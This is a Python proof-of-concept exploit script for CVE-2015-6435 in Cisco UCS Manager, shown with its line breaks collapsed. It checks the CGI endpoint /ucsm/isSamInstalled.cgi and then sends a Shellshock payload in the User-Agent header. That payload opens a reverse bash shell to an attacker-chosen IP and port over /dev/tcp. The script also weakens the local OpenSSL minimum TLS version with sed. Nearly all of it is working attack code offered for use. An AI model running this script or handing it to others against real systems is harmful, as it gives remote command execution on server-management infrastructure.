1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137
| import sys, ssl, os, time import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print "+-------------------------------------------------------------+" print print "- Cisco Unified Computing System Manager CGI RCE " print print " Cisco UCS Manager - 2.2(1d) - CVE-2015-6435" print print "- PoC by: LiquidSky - 1/15/21 | CISCO-BUG-ID: CSCur90888 " print print "+-------------------------------------------------------------+"
try:
target = sys.argv[1] shellip = sys.argv[2] shellport = sys.argv[3]
except IndexError:
print print "- Usage: %s <vuln-site> <listener-ip> <listener-port>" % sys.argv[0] print "- Example: %s https://ciscoucsmgr 192.168.1.123 443" % sys.argv[0] print sys.exit() def ch3x_w00t(): if os.geteuid()==0: print "[*] Running exploit as root." else: print "[!] You are not root, be sure you can change /etc/ssl/openssl.cnf" print "[x] Most likely going to see an error..." time.sleep(5)
def cisco_vuln(): ch3x_w00t() print "[x] Backing up /etc/ssl/openssl.cnf to /etc/ssl/openssl.bak (just in case)" os.system("cp /etc/ssl/openssl.cnf /etc/ssl/openssl.bak") os.system("sed -i 's/MinProtocol = TLSv1.2/MinProtocol = TLSv1.0/' /etc/ssl/openssl.cnf") print "[*] Checking vulnerable URL " headers1 = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} cisco_url = "" + target + "/ucsm/isSamInstalled.cgi"
check = requests.get(cisco_url, headers=headers1, verify=False)
res = check.text if "true" in res: return True return False
def exploit_question(): print "[x] Warning the service by default uses TLS1.0 so . . ." print print "[?] This exploit temporarily patches '/etc/ssl/openssl.cnf' to use TLS1.0 using 'sed' and then changes back to TLS1.2" print print "[!] A backup is placed in /etc/ssl/openssl.bak just to be safe..." print question = raw_input('[!] Do you wish to continue, "yes" or "no" ?') if question == 'yes': print print "[!] Great attempting exploitation checks: " + target + '!' cisco_vuln() else: print print "[x] Stay safe m8 ;) - Read the source, its safe . . " print sys.exit()
exploit_question()
def cisco_response(): headers1 = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} cisco_url = "" + target + "/ucsm/isSamInstalled.cgi" request = requests.get(cisco_url, headers=headers1, verify=False) if request.status_code == 200: print "[x] Page seems to exist -- Possibly vulnerable?" else: print "[!] Page does not exist - Not vulnerable" print "[x] Switching back to TLS v1.2 - backup file should be in /etc/ssl/openssl.bak (just in case)" os.system("sed -i 's/MinProtocol = TLSv1.0/MinProtocol = TLSv1.2/' /etc/ssl/openssl.cnf") sys.exit()
def cisco_exploit(): cisco_url = "" + target + "/ucsm/isSamInstalled.cgi" headers = {"User-Agent": "() { ignored;};/bin/bash -i >& /dev/tcp/" + shellip + "/" + shellport + " 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
print "[x] Sending Shell to IP: " + shellip + " Port: " + shellport + "" print "[?] If this works you will see the exploit hang"
requests.get(cisco_url, headers=headers, verify=False) print "[!] Shell Sent"
cisco_exploit()
def main(): if cisco_vuln(): print "" print "[+] Perhaps success?" print "" print " ^_~ got shellz? - [ liquidsky | 2021 ]" print print "[x] Switching back to TLS v1.2 - backup file should be in /etc/ssl/openssl.bak (just in case)" os.system("sed -i 's/MinProtocol = TLSv1.0/MinProtocol = TLSv1.2/' /etc/ssl/openssl.cnf") else: print "[-] failure!" print "[x] Switching back to TLS v1.2 - backup file should be in /etc/ssl/openssl.bak (just in case)" os.system("sed -i 's/MinProtocol = TLSv1.0/MinProtocol = TLSv1.2/' /etc/ssl/openssl.cnf") if __name__ == "__main__": main()
|